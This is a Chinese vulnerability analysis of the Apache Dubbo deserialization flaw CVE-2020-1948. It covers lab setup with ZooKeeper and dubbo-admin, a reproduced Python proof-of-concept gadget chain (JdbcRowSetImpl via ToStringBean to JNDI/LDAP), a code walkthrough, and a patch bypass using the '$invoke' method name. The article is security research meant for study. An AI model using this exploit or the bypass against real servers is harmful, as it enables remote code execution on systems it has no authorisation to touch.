作者:天融信阿尔法实验室
公众号:https://mp.weixin.qq.com/s/4PeagkLbYPpO6L4tvhgHCw
Apache Dubbo简介
Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东东,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSdl,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:
- 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。
- 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。
- 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。
下图是来自Apache dubbo 官网的工作流程和原理
- Provider
- 暴露服务方称之为“服务提供者”
- Consumer
- 调用远程服务方称之为“服务消费者”
- Registry
- 服务注册与发现的中心目录服务称之为“服务注册中心”
- Monitor
-
统计服务的调用次调和调用时间的日志服务称之为“服务监控中心”
-
Container
- 服务运行容器。
Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。
启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址https://zookeeper.apache.org/releases.html
启动ZooKeeper之前可以自定义修改 “/conf/zoo.cfg”配置文件里的 clientPort和dataDir的值。
Apache Dubbo有一个web端的管理界面 github地址如下 https://github.com/apache/dubbo-admin
下载完成后进入/dubbo-admin-server/src/main/resources目录修改application.properties配置文件,将其中的注册中心地址修改为自己启动的注册中心的地址
dubbo-admin-server 目录下运行 mvn package -Dmaven.test.skip=true 将该模块打包成jar包
然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 启动dubbo-admin-server,此时启动了 dubbo管理的服务端但是没有UI界面。
进入到 dubbo-admin-ui 中 执行 npm install 该命令执行完成后 执行npm run dev 。
访问http://localhost:8081 此时就有了UI界面,默认账号密码都是root,在服务查询中 我们可以看到Provider在Zookeeper注册中心中注册的远程方法服务,目前没有注册所以无可用数据。
启动我们使用dubbo框架写的程序
可以看到我们的远程方法服务成功在zookeeper注册中心进行注册
CVE-2020-1948 深度分析
首先观察一下网上已经公布的POC的代码
from hessian2 import new_object
from client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/ExploitMac",
strMatchColumns=["fxx"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean])
不难看出,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
通过wireshark抓包来看一下 POC发出的报文内容
我们将断点打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代码上。
跟进该方法后可以看到该方法内首先会进行一个if判断,判断完成后会调用DecodeableRpcInvocation.decode()方法并传递进去两个参数,其中有一个inputStream参数,我们详细看一下该参数的内容
可以看到正是我们通过POC发送的序列化数据
跟进该方法,在第131行代码处有一个if判断,这里通过RefctUtils.desc2classArray()处理完desc参数然后返回一个ToStringBean的类对象。
紧接着通过Hessian将ToStringBean的类对象反序列化成ToStringBean对象并赋值给args参数
仔细观察一下此时args指向的ToStringBean对象的详细内容,可见此时ToStringBean对象有两个属性已经被赋值为JdbcRowSetImpl。
当前方法执行完成后 args参数和pts参数分别被赋值给当前对象的arguments属性和parameterTypes属性,然后当前DecodeableRpcInvocation作为参数进行返回
返回到DecodeHandler中,在第51行代码中传入的message参数是一个Request对象,该Request对象是dubbo的包中的,简单看一下该对象的详细信息
跟进该方法,然后继续跟进handleRequest()方法。
在DubboProtocol类的第263行代码中经过一个if判断然后判断成功会抛出一个RemotingException,关键点就在这里,可以看到传入的参数中采用了字符串拼接的形式,当使用字符串拼接的时候,会自动调用StringBuilder的对象的append方法,依次处理channel.getRemoteAddress()的返回值,channel.getLocalAddress()的返回值,getInvocationWithoutData(inv)的返回值,而getInvocationWithoutData(inv)的返回值正式含有恶意请求的DecodeableRpcInvocation对象,StringBuilder要调用DecodeableRpcInvocation的toString方法将其转化为字符串
DecodeableRpcInvocation类的父类RpcInvocation重写了toString方法,看一下RpcInvocation.toString()方法的实现
同样还是字符串拼接,其中Arrays.toString(arguments),agruments正是之前封装进DecodeableRpcInvocation对象中的ToStringBean对象。接下来自然会调用ToStringBean.toString()方法。
ToStringBean.toString()方法,执行时取出其中的obj属性获取其类名称,并作为参数传入另一个重写的toString方法
该toString方法中会通过反射不断调用JdbcRowSetImpl对象的各个方法,当反射调用JdbcRowSetImpl对象的getDatabaseMetaData方法时,会触发JDNI远程访问dataSource
我们可以看到dataSource的值
至此Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞原理分析完毕
补丁绕过分析
这次针对该漏洞的补丁非常简单,在分析该漏洞时说过在DecodeableRpcInvocation类的第131行有一个if 判断,以下是2.7.6版本中该判断的代码
更新后的2.7.7版本该判断的代码如下,可见在该判断內有增加了一个if 判断,且新增加的判断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。
那么如何绕过该判断让程序继续执行下去从而触发远程代码执行,我们跟入RpcUtils.isGenericCall()方法中来仔细观察。
不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和INVOKE_ASYNC常量的值相同。
我门看一下两个常量的值
我们此时 method的值为“test”可见并不相同,紧接着进入RpcUtils.isEcho()方法,同样是和常量进行对比,显然结果也不相同
所以if 判断内的最终结果为true,从而抛出异常终止执行。绕过的方法相比大家也都想到了,我们只要让method的值等于“$invoke”,“$invokeAsync”,“$echo”任意一个即可绕过。我们返回POC中查看与method对应的值是哪一个
一眼就能发现其中的method_name就是我们要找的,我们只需要修改‘test’为‘$invoke’即可对当前补丁进行绕过。
总结
此次漏洞是序列化传输到后台的数据被翻序列化完成后,在后续的处理过程中的一个异常处理中进行了危险操作,从而触发了gadget。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1266/